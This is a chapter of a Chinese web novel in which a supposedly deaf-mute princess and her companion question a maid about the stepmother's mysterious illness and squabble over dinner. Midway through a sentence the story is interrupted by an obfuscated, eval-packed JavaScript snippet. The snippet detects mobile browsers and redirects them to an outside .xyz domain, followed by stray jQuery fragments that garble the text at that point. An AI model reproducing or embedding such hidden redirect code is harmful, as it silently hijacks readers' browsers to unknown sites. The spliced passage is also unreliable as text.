左相可怜,失了一任妻,又病了一任妻。
妻命薄。
***
“不过,提起卞芜,我已经很久没见过辜怜了。”沉缚不知道她的便宜弟弟有没有幻化成人形。
“想他了?”
“有一些。”
“那我过段日子,让卞芜带他过来。他现在的术灵,还不足以支撑他半途进入梏。”
“可以吗?”沉缚眼睛一下就亮了。
“当然可以。”
**
“对了,谷雨是不是在外面,你叫她进来我有话要问她。”沉缚说。
危肆撤走隔音的结界:“谷雨,你进来。”
“是。”
谷雨胆战心惊的进来。她刚刚候在外面,没听到房间里的一点儿声音。她生怕郡主男宠,做出什么出格的事。
一进来,就见危肆半倚在郡主的床栏上,懒洋洋地睨了她一眼,说:“郡主有话要问你。”
他身上刚才那股子阴戾狠辣,荡然无存。
“看来是被郡主哄好了。”谷雨想:“那今晚,更加要给郡主补补身体了。”
沉缚抬手,让她起来坐着说话。
沉缚轻点三下镯子,在心里对危肆说:“我怎么觉得林思铮现在的样子,和当时我娘差不多。”
她听外祖母讲,她娘死之前也是病得这样重。到最后,只剩下一副骨头架子了。
危肆将其转述:“谷雨,夫人和郡主娘亲是否得的是同一种病?”
婢女犹豫了一下,答:“奴婢年龄小,不清楚当年先夫人的病状。不过……听府里的老嬷嬷说,夫人现在和先夫人的状态,别无二致。”
“那她们得的是一样的病?”危肆问。
“嗯……”谷雨支支吾吾:“从大夫的诊断来看,是不同的两种病。但……”
见她支支吾吾,危肆一下坐直了身子:“但是什么?”
见她还有顾虑,危肆接着说:“你既已经被夫人指给郡主做丫鬟了,那么以后出了任何事,我与郡主都会护着你。你说就是了。”
“是。”谷雨放低声音:“但府里的人都在传,夫人和先夫人生的是同一种病。他们说夫人和先夫人是被同一只鬼缠上了,不然为何症状一模一样。”
鬼?这样穷凶极恶的东西,若是在梏里出现,危肆不可能没有察觉,除非……他压下疑虑:“府里的人,为何这样说?”
“你们刚才去给夫人请安,看见了院子里的树了吗?”
沉缚和危肆回想了一下:落叶枯败,凄楚清寒,一片萧条。
危肆皱着眉,替沉缚问:“那院中,是深秋景象?”
“对呀!”谷雨又凑近了些:“他们都说,那间偏僻的院子,是鬼喜欢住的地方。夫人就是被鬼上身了,才会从主屋移到那儿去。”
“哼”危肆冷笑一声,心想:“鬼喜欢的地方,可比那院子恐怖多了。”
沉缚连忙问:“那左相没有请人来驱鬼吗?”危肆转述。
“请了呀,就是请了驱鬼人夫人才好转了不少。现在,一天里能有三四个时辰是清醒的,以前整天都浑浑噩噩。”
谷雨又说:“现在外面人都说,我们左相可怜,娶的夫人个个命薄。”
“先夫人生下郡主您不久后就病重,现在的夫人也是如此。”
谷雨一边说,危肆一边拿着笔不停地在纸上写,写给郡主看。
他们对外,还是要装成沉缚听不见也说不了。
危肆看似是在认真传达谷雨的话,实则他在那纸上写:“今晚吃什么?我去小厨房给你做。就吃你说的红烧小排怎么样?”
沉缚冲他点点头。而后示意他将纸笔递过来,她有话要写给谷雨。
【都说左相可怜,怎么没人说左相命格不好,克妻。】
危肆瞥了一眼,递给谷雨。
这一张纸,吓得小丫鬟手一抖,“扑通”一下就跪地上,说:“郡主,这话可不能乱说。要是被圣上听去,是要掉脑袋的。”
“怎么了,我觉得你们郡主说得很对啊。”危肆撑着脑袋,一只手把玩郡主的发尾,笑着说:“两任夫人都得重病,不是他克妻是什么。”
谷雨欲哭无泪,虽然她也曾这样偷偷想过。
沉缚抽走头发,示意他正经点。
她回想起原梏主的记忆:圣上与皇后伉俪情深,不过好景不长,皇后生下太子不久,就血崩逝世。在皇后逝世的那一年,左相刚好进京赶考,一举夺魁。
才华横溢的单纯良,不仅拿下了状元,同时也拿下了长公主的芳心,长公主对左相一见倾心,穷追不舍。
左相却一而再再而三的拒绝,说自己只心悦他的夫人,也就是沉缚的娘。
这份对发妻忠贞不渝的情分,深深的感动了刚丧妻的圣上。也是自这件事以后,左相便深得圣上青睐,一路平步青云。
危肆和沉缚心照不宣的明白了什么。
“这圣上也算得上是,脑残粉了。就因为那一件事,无脑喜爱支持了左相多年。”沉缚在心里吐槽。
“什么是脑残粉。”危肆的声音在脑海里响起。
该死,忘了镯子还在震动了。
“行了,你下去吧。”危肆说。
沉缚却让谷雨等等,写:【你先留下来替我更衣。】
谷雨怎么觉得背后凉飕飕的呢
危肆不解,十分疑惑,传声入沉缚的脑海:“为何不让我替你更衣?之前不都是我帮你?”
“我没别的意思,我就是有些话想问问谷雨。”
“那些话是不可以让我知道的吗?”
沉缚:……
“我这次更衣,是要将里衣也脱掉,那你帮我更衣吧。”
……
危肆默默地退了出去。
“郡主,奴婢替您更衣了。”
哪怕云英郡主听不见,做奴婢的也得恭恭敬敬。
这是林思铮尚还清醒时,教她的。
当沉缚最后一层里衣滑落,谷雨如同初见她时,又一次呼吸一滞。
郡主像一只被精雕玉琢的玉屏,完美无瑕。背上的骨头微微凸起,如同山丘般起伏。
谷雨忍不住用手碰了碰那骨头,温凉的触感,如玉一般。
沉缚被逗得忍不住瑟缩。
【谷雨,你帮我看看我腰上有没有伤,刚刚好像撞在地上了。】
“噢噢好。”谷雨回过神。
往腰上一看,果然有些淤青。
“啊——”她惊呼一声,连忙写:【郡主,疼不疼啊。】
沉缚摇摇头,写:【不是很疼,你帮我上药吧。】
谷雨将药膏化在手手心,一点点揉进沉缚的伤处。看着那瘀紫色的伤,谷雨心疼坏了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553383|186494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她想,郡主不让危肆替她上腰间的药,应该是不忍让他担心。没想到,郡主也很爱她的男宠。
谷雨感叹,谷雨决定马上就为郡主煲汤。
上完药,沉缚写道:【谷雨,我有些话要同你说。】
谷雨立刻退开,跪下。
【既然你已经被指给了我当丫鬟,那以后你便是我的人,便不再是……左相府的人。】
谷雨被惊出一身冷汗。
【所以,无论以后左相发生了什么事,都与你毫不相干。】
【今日这些话,听过便没了。能不能记住,愿不愿意记住,一切都在你。】
【若是不愿,出去便找危肆……】
婢女额上滚出豆大的汗珠,不停地磕头发誓:“奴婢谨遵,奴婢生是郡主的人,死是郡主的鬼。”
沉缚这才松了面容,将人扶了起来。
【别害怕,我不过是提一嘴。】沉缚不知从哪里拿出了谷雨的卖身契,【这卖身契,你自己收着吧。】
谷雨愣住了,她不可置信地看向沉缚,仿佛在确认这事是不是真的。
沉缚见她半天没反应,干脆强塞进她手里:【这没什么事了,你出去罢。唤危肆进来。】
“是。”
危肆在外候了一会儿,谷雨出来后一副欲言又止的模样。
谷雨刚才都被郡主感动哭了,不过迫于规矩,眼泪才没留下来。她下定决心,要加倍对沉缚好。
于是谷雨走出几步,又退回来,面不改色地提醒危肆:“这几日,你节制一点。”
她们郡主腰上还有伤呢。
危肆一脸茫然:“莫名其妙。”
**
晚膳时分,端着红烧小排的危肆和端着山药羊肉汤的谷雨,站在门口面面相觑。
“你在这儿干什么?”两人异口同声。
“我当然是来给郡主送晚膳。”两人又异口同声的答。
危肆睨了一眼那汤,十分不屑,沉缚可是答应过他,以后只吃他一人做的饭。
“啪——”危肆将菜放在桌上,平静又有底气地说:“郡主下午才同我讲了,她想吃红烧小排和白灼菜心。你把这羊肉端走。”
“不行。”谷雨不敢示弱,也“啪”的一下将汤放下,说:“郡主本来就瘦,又舟车劳顿,我这羊肉山药是大补!”
“再说了,郡主身子补起来了,对你不也有好处吗?”她含糊不清地嘀咕。
“什么?”危肆没听清。
谷雨提高音量:“没什么!我说你的菜,看上去就不好吃!”
危肆被气笑了。这个婢女怎么就这样有底气。
空气中,火药味弥漫。
角落里的沉缚,忽然觉得这晚膳也不是非用不可。
她脚下轻踢了下危肆,意思是别这样任性。
危肆不乐意,黑着脸,用术灵对她传音:“你不是答应我了,只吃我做的菜吗?”
沉缚轻点镯子,半哄半就:【我们改为每顿饭,我都必须吃你做的饭,但不是只吃你做的饭。可以吗?】
危肆别过脸,不理人。
沉缚继续哄:【况且,现在谷雨是我们的人。多了一个对我死心塌地的人,不好吗?】
危肆终于有些松动,他不会反对这世上多一个对沉缚好的人。
即使,这世上没人能比过他。